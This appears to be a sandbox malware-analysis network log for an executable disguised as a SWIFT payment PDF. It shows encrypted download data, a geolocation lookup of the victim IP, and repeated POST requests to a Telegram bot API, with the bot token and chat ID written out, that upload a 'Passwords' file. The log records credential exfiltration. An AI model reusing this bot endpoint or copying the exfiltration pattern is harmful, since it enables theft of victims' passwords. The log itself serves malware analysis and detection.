2024-12-16 08:05:38 UTC	4833	IN	Data Raw: 18 fd ef 94 1a d0 85 3e 81 0d d3 5e 22 da 27 4e 42 5b 93 f4 fd da 2a 71 60 dc 4f 14 06 47 38 4c e0 57 41 2e 78 61 ea e6 a5 26 f9 4b 9a 34 0c 45 42 b9 ec c0 37 a4 77 b6 df 5a 27 15 ce ae 30 80 1a 53 1b d8 8c 3b 6f e6 52 da 2c 63 56 3a 05 ef ca 3f 46 5a 66 2d e1 24 99 de e0 57 5f 09 d0 fd cd 77 5b de 29 a5 ee b1 cc df cc cc 5e e0 05 ba 00 03 7f 4c 3b 4b 8f 77 b7 64 c5 02 30 f1 87 13 92 7a 4a ef ef 4d 17 2d 18 73 12 b4 b8 78 cf 01 9d 5c 01 83 e2 02 6d a9 8a 93 15 37 c9 d6 31 b2 c3 e3 86 9c 64 95 ed 89 f9 52 7d 1b 29 66 cf 42 ce d6 71 f1 58 34 7f d5 7d 17 aa 25 05 12 79 09 a1 a2 91 44 f6 ca fd 82 da 84 1b 06 a7 ab 6b 5d a3 78 d4 97 aa 96 79 bc 55 89 89 92 00 d5 f6 0b 7e 8f 1f 5c 98 a4 16 ae 60 bb 6c ac 11 e5 ab 72 d3 32 a9 da c8 2a ca fc 98 6b a5 b8 76 6c ae Data Ascii: >^"'NB[q`OG8LWA.xa&K4EB7wZ'0S;oR,cV:?FZf-$W_w[)^L;Kwd0zJM-sx\m71dR})fBqX4}%yDk]xyU~\`lr2kvl
2024-12-16 08:05:38 UTC	1323	IN	Data Raw: c9 82 84 15 05 a9 8c 21 44 29 61 55 59 67 66 a2 85 12 03 a6 15 e1 d4 b1 8a 5a 52 75 b0 21 31 32 3c c6 4a 33 f5 a7 49 28 3b 2c 0d 44 f3 db 6d be 84 dc 58 a8 b2 8d 2d 38 1b cb 40 54 a8 8f 41 51 9a 9e 34 3e ac 8f ac cf 23 34 ef 95 c6 f7 19 da 4b 53 97 84 4d 17 4f 84 4b 92 be 31 d8 c8 73 54 dc 9b 15 76 99 61 56 18 95 0b 34 fd 55 0f 3e 21 7d 5a f5 4f dc 00 71 21 78 b4 6b e0 d4 4a 8f 85 43 5f 2d 4f 33 7a fa 05 58 f5 ce 2a 6e ae e4 3a 9f b0 00 62 bb 74 73 a6 37 3e 72 c8 88 fb d9 ad 59 7c 28 65 1a c2 3f bd bb 7b f9 2f a7 4b d1 6e 08 0d e6 31 c6 40 33 36 f4 2e 47 a2 df 91 14 18 cc ba 87 24 9e a4 bd 50 9c 1d e5 c6 4b 91 53 fa 88 9f d8 25 5f 9d 79 2a c2 42 bf 23 3d 0a c8 72 93 06 60 7b 4e 90 2b 9f 90 3b c1 42 fd f9 ba 4c 35 d5 ca b9 01 30 12 1e 9a f8 d5 c7 bf 45 dd Data Ascii: !D)aUYgfZRu!12<J3I(;,DmX-8@TAQ4>#4KSMOK1sTvaV4U>!}ZOq!xkJC_-O3zXn:bts7>rY\|(e?{/Kn1@36.G$PKS%_yB#=r`{N+;BL50E
2024-12-16 08:05:38 UTC	1390	IN	Data Raw: 1d 60 c1 0a 96 cb 75 e4 61 91 51 fc 5d 2c 7e 6f fd 84 2a f1 2e 76 d5 29 10 11 83 43 75 85 96 bd c2 56 40 b6 a3 11 f5 1e f7 0d 5d 75 a0 96 92 cf 2a 4b 71 70 1f 66 5c b1 00 a1 52 fe e3 5f 33 a5 ed 90 85 97 e6 81 dd 20 e5 3c 8a 20 0a 6d 9c a3 ae 35 2f 04 e8 7f 62 47 47 ad 4f 88 82 f5 8a a3 0e 66 90 73 54 0b ba 59 4a e0 7a a7 3a 53 c7 1d 6c 6d 25 bf 70 85 0a 59 05 c9 e1 43 fc c8 d5 de d8 9c b0 06 39 64 bb 39 9f 09 35 15 47 bc c7 22 11 46 c8 6e 1f 74 eb 37 f0 92 21 83 c5 8d 12 6b b0 8d f2 ae 9b 25 7d 24 76 85 d7 0d d7 e4 bf 3b 13 fc 56 6a f2 25 1a 7b a2 48 34 69 df 75 fa d0 68 85 66 ee 71 8a b4 d8 04 f1 f1 0b e7 21 f6 a5 d7 4e 44 07 67 0d 66 c5 20 ce ae 46 e3 c1 ae f2 15 bb 85 19 68 ce 28 11 f3 dd 14 a7 cc a1 7f bd af 4a 40 7b a4 dc f1 06 09 67 44 e4 d8 76 08 Data Ascii: `uaQ],~o.v)CuV@]uKqpf\R_3 < m5/bGGOfsTYJz:Slm%pYC9d95G"Fnt7!k%}$v;Vj%{H4iuhfq!NDgf Fh(J@{gDv
2024-12-16 08:05:38 UTC	1390	IN	Data Raw: 3f ef c0 37 bf 7b 7b 0c d3 11 33 ec a0 43 64 09 57 11 e3 d1 2a 61 fd 81 bf 7e 79 56 4a 6a 04 b4 27 4c 4d b4 30 58 2f 99 a4 e5 6f cf 07 a2 a3 c1 89 2a e5 62 b4 eb 82 c4 cf dd dd 47 e0 79 ba 00 03 7f 58 3b 5f 9e 98 b7 64 cb c6 ae e2 96 0a ea 2e 5d 39 68 14 06 2b 76 ef 06 a2 a1 13 9c e3 98 58 1e 00 f4 13 75 b8 8f 83 2c b5 a6 24 3b c0 b9 ce 97 f8 5a 32 cd 59 ff 3d 40 e5 28 7f f0 14 d9 c5 62 8f d3 18 79 c9 6e 1e ac 7c 04 15 6e 6a c7 bf 80 57 e5 62 7c 93 cc e7 28 79 91 a9 61 32 21 6c c5 86 3b f7 4b 8d 42 9c ee 17 1b 44 e3 67 56 90 08 27 1c bf 87 bb 4c 42 02 2c ef e4 8a 73 bb 01 b5 cb d0 4a 40 ed 85 58 4f b1 08 77 bf 71 19 6d 75 87 82 0f 88 f9 b3 03 72 6a b0 68 0d 50 64 2d 6b 08 d5 ed d0 e1 23 a4 18 cb a6 8e c7 de 89 c8 4d ad 16 6e 0d cd 18 ca 7b 03 7f ac 50 e5 Data Ascii: ?7{{3CdWa~yVJj'LM0X/obGyX;_d.]9h+vXu,$;Z2Y=@(byn\|njWb\|(ya2!l;KBDgV'LB,sJ@XOwqmurjhPd-k#Mn{P
2024-12-16 08:05:38 UTC	1390	IN	Data Raw: fe 74 74 c9 37 55 ed 83 d5 55 e4 1f 48 0e 2f 79 b0 04 47 02 61 bd b8 99 db e0 2c ce e3 fb 0c b5 4b af 13 6b 20 6f 3b dd 30 a1 e0 40 9d bc 1f c6 5d 95 81 51 8b 3c 59 d2 18 22 f6 50 d9 81 08 ad 9e 87 4f f9 87 e6 98 9f c5 4e 4a 94 43 b6 44 9d 55 0f 1f 6d 68 2b 62 28 98 87 a6 16 ad 74 5f 00 8c 93 42 3a b2 69 8a e3 ec 58 f5 85 e1 78 98 da bf c5 2a 60 dd e5 60 d1 f5 4c 41 76 f1 cb b8 b2 30 9d 4f 4c 0b 16 fc 7b 0c 3a 0b e0 55 5d 89 4d df ee 77 f3 0e 19 18 b4 7d b5 81 38 4b f1 ce 91 57 83 10 05 b2 6c 84 f4 c7 e6 d6 74 f7 80 e0 cf d1 c4 d6 c2 6a 7d 74 42 04 0d d6 e0 6b 44 28 49 5d 5e 6d 68 f9 85 12 06 cb 6f aa d4 bb 8e ae 88 fb d9 30 eb 27 e3 5f f5 c3 e1 a7 49 2d 2a 29 7e 12 e2 dc 7f 9e db b5 43 78 e7 a7 2d 38 15 cb 40 6f af 9b 57 6a 4d 9c 34 ae bf 8b 72 cb 06 1c Data Ascii: tt7UUH/yGa,Kk o;0@]Q<Y"PONJCDUmh+b(t_B:iXx``LAv0OL{:U]Mw}8KWltj}tBkD(I]^mho0'_I-)~Cx-8@oWjM4r
2024-12-16 08:05:38 UTC	1390	IN	Data Raw: c8 51 58 af e4 3e 84 63 00 73 b1 6b 6f 8e ed 45 3a c2 fa df ba fe 29 54 6c 4d 4e c8 35 b7 b1 5b 12 29 b6 47 f6 64 33 30 af 31 c6 42 68 32 f4 2e 4b ae d7 e3 4c 7f 80 ca e8 f2 e0 f7 bb 76 9e 5a 62 c6 4b 9d 49 29 88 9e df 31 74 a8 6c 50 8e 42 b7 36 12 ab a0 6e 99 76 0f ae 64 90 2d 89 a8 20 c6 1a 82 e5 ba 19 5a 00 db b9 05 5d 2b 16 8b fb d9 65 a3 45 a9 17 6f de 75 92 d0 b1 59 f0 1a 7b 7e 6f fd 35 07 fa 54 1c 83 2f 48 b0 a7 58 76 85 54 bc c2 5a 8d 96 be 63 9f 23 63 7d ff 5b 13 9f 83 cc 2d b1 0e 6c 15 77 52 b6 fa 88 0f f5 f2 5e 9f bc c5 3a 81 97 fe 92 f0 92 ba 3c 80 39 1e 75 b1 1b 3f eb 26 05 ef 81 74 4b 6c 8d 54 cf 29 f5 8a a3 06 ab 97 2a ca 17 ba 03 24 25 7a a7 3e 3c 85 1d 16 f0 0d 0c 70 85 0c 4a 1b f9 fa 47 c4 29 d0 de 84 8a 98 96 39 17 68 2f 61 00 2f 0a b8 Data Ascii: QX>cskoE:)TlMN5[)Gd301Bh2.KLvZbKI)1tlPB6nvd- Z]+eEouY{~o5T/HXvTZc#c}[-lwR^:<9u?&tKlT)*$%z><pJG)9h/a/
2024-12-16 08:05:38 UTC	1390	IN	Data Raw: 02 f2 d3 18 46 68 4e 13 c8 73 c4 50 ab 1e 42 e2 cb 06 b8 08 c4 5b 13 40 50 5a f5 e2 ce 6d d9 1a b5 81 b6 1e 65 48 0f 6c 22 f0 1f 70 e1 57 c8 be 31 7d 3d b3 ed 30 54 c1 a4 66 b3 a2 1a 6b c7 6b 39 18 fb f6 91 1a d7 ea 9c a1 0d f1 f9 2b d2 3b 4e dd 35 8e e2 e1 da 50 1e bc b3 39 12 69 12 38 32 f8 7f fd 2a 50 ec f9 e3 af 37 23 35 78 38 20 32 5d fe 6c c0 37 a4 61 94 02 58 07 4f 1f ab 30 fa 1f 7f 9a f0 de 31 79 12 8c 92 3d 6f 47 36 29 a2 a9 aa 79 5a 62 5e 92 39 eb 48 e2 7f ae ab f5 e0 d2 2b 7f d5 5e 98 fe 88 a7 7c e9 d5 4f 97 2b 9f 1a 7b 2a 5f 2a 3d 53 4c ac 75 c4 d3 98 ed f5 37 dd f4 3a 4d cd ed 06 2b 7d ef 1f ca bd 06 ee 05 8c 55 46 5d e2 02 6d 29 94 95 3d a2 c9 d6 2a c7 a4 3e 95 eb 5d a4 fc 8f c1 dd be e4 d6 6c e7 db de f3 53 ad ca 34 75 cc 73 06 84 05 01 15 Data Ascii: FhNsPB[@PZmeHl"pW1}=0Tfkk9+;N5P9i82P7#5x8 2]l7aXO01y=oG6)yZb^9H+^\|O+{_=SLu7:M+}UF]m)=>]lS4us
2024-12-16 08:05:38 UTC	1390	IN	Data Raw: ab 67 7a 65 4c 12 93 14 13 c7 89 00 2d 73 af 66 10 62 3b 2f ce f2 d5 ed db ec 7b d6 fe d5 b5 e8 17 19 9b c1 9f 9b 2e 0d 37 aa 9a a0 d9 56 09 4e 54 47 f9 42 a6 c5 e2 1f e7 6e 83 1e 5f a4 98 97 66 de 34 50 59 f5 c0 d1 ed 5a 2a 1c fc 59 9b f2 31 8b ee 39 91 9a 64 a4 1a 62 2a bc 74 cb e6 c2 3d bf 86 b9 3a 2d 16 78 13 2f 22 3d 83 33 b4 ff 5f 8d 36 6e 7a e1 02 7f ed 89 dd 6b e2 37 08 0f 2f 73 5f 04 47 39 20 a3 ca 51 c0 e0 5c e6 be fb 0c bf 17 b8 9e 32 4a 6e 3a d1 27 89 18 40 d9 b6 09 39 47 a8 8c 42 f2 2c 5c fe 22 36 e5 45 d9 a6 c9 85 46 87 4f 81 17 ce bb ef ab 15 fd 94 43 b6 49 b5 a9 27 e7 67 40 da 69 2f ab d2 a1 07 ab 1d d0 d7 8c 99 57 3e 91 58 c1 f7 83 56 9a 57 eb 50 a4 fc b7 a0 ea 69 cc ea 03 96 e6 4a 56 76 fc e2 a5 dc cd 9d 47 57 1f 6f 85 6c 1f 46 75 39 79 Data Ascii: gzeL-sfb;/{.7VNTGBn_f4PYZY19dbt=:-x/"=3_6nzk7/s_G9 Q\2Jn:'@9GB,\"6EFOCI'g@i/W>XVWPiJVvGWolFu9y
2024-12-16 08:05:38 UTC	1390	IN	Data Raw: 50 72 80 5f f1 37 31 30 39 48 23 4e ab a7 49 2c 6e 2f 76 09 99 da 69 96 45 dc 58 a2 8b c1 2d 39 04 fb 44 7e d4 8e 41 42 99 9c 34 b5 ac 90 b0 c3 fb 34 fe 9f b6 15 7a da 3b 7f a7 d7 4d 1d 4f ac 19 ba 46 3b d2 c4 6b 57 f4 d9 38 7b 9b 1c 63 cf 95 0f 1a 22 5d 7d 6e 3d 7d 2a 98 e6 96 00 77 03 0e 88 b8 e0 de 64 cc 5f 50 53 30 5b 27 47 fc 01 74 f8 c4 40 23 dc 8c 22 b7 13 6f b7 b1 74 75 ab 3d 54 3d ba f6 e3 a7 8e 36 a9 22 4d 48 d1 3b bf a6 74 98 b5 aa 4d 8d 0c df 76 ae 37 d5 41 0a e0 dc bd 4d a2 d9 82 1e 72 88 96 c4 26 c8 f4 bc 50 9c 5a b5 c7 4b 91 31 f6 9a 98 c3 0a e7 90 7b 57 9d 4b ae 2e 01 27 c9 61 93 17 6a 6d 9a 91 38 8f b1 3a ed 7e d4 53 ba 69 3f c4 de d6 5c 4e 2f 14 8b f5 83 6c bf 45 df 6b bf de 75 94 e8 94 48 dd 98 e8 7e 65 f3 37 08 99 c0 2c c0 59 0f 66 a6 Data Ascii: Pr_7109H#NI,n/viEX-9D~AB44z;MOF;kW8{c"]}n=}*wd_PS0['Gt@#"otu=T=6"MH;tMv7AMr&PZK1{WK.'ajm8:~Si?\N/lEkuH~e7,Yf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49832	104.21.67.152	443	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:05:43 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-16 08:05:43 UTC	886	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:05:43 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 325112 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OEYLptedoVFgU7CIbVV972L9EZJl1zcihG7vYV%2BCjyQKczP%2FbiXepE9B3BA%2FFtWz27%2BOIUoAjNs0dTy3BwTZhUg1%2Bsfj9Xa994QfLOdN9llmDHg%2B9udr%2BCGFI3NiWUk5wmQfM%2Fh6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d2b83c8ac0fa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1471&min_rtt=1459&rtt_var=571&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1876606&cwnd=252&unsent_bytes=0&cid=05c4e2a336de3ad4&ts=451&x=0"
2024-12-16 08:05:43 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49852	149.154.167.220	443	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:05:51 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1d7e8af6a03c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-16 08:05:51 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 64 37 65 38 61 66 36 61 30 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1d7e8af6a03cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-16 08:05:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 08:05:51 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 08:05:51 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 32 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 33 36 33 35 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":12275,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734336351,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49861	149.154.167.220	443	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:05:54 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1da853a7b98d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-16 08:05:54 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 64 61 38 35 33 61 37 62 39 38 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1da853a7b98dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-16 08:05:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 08:05:55 GMT Content-Type: application/json Content-Length: 545 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 08:05:55 UTC	545	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 32 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 33 36 33 35 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":12276,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734336355,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49872	149.154.167.220	443	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:05:58 UTC	271	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1dcf16c14216 Host: api.telegram.org Content-Length: 1090
2024-12-16 08:05:58 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 64 63 66 31 36 63 31 34 32 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1dcf16c14216Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-16 08:05:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 08:05:58 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 08:05:59 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 32 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 33 36 33 35 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":12277,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734336358,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49883	149.154.167.220	443	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:06:01 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1dfb205ad284 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
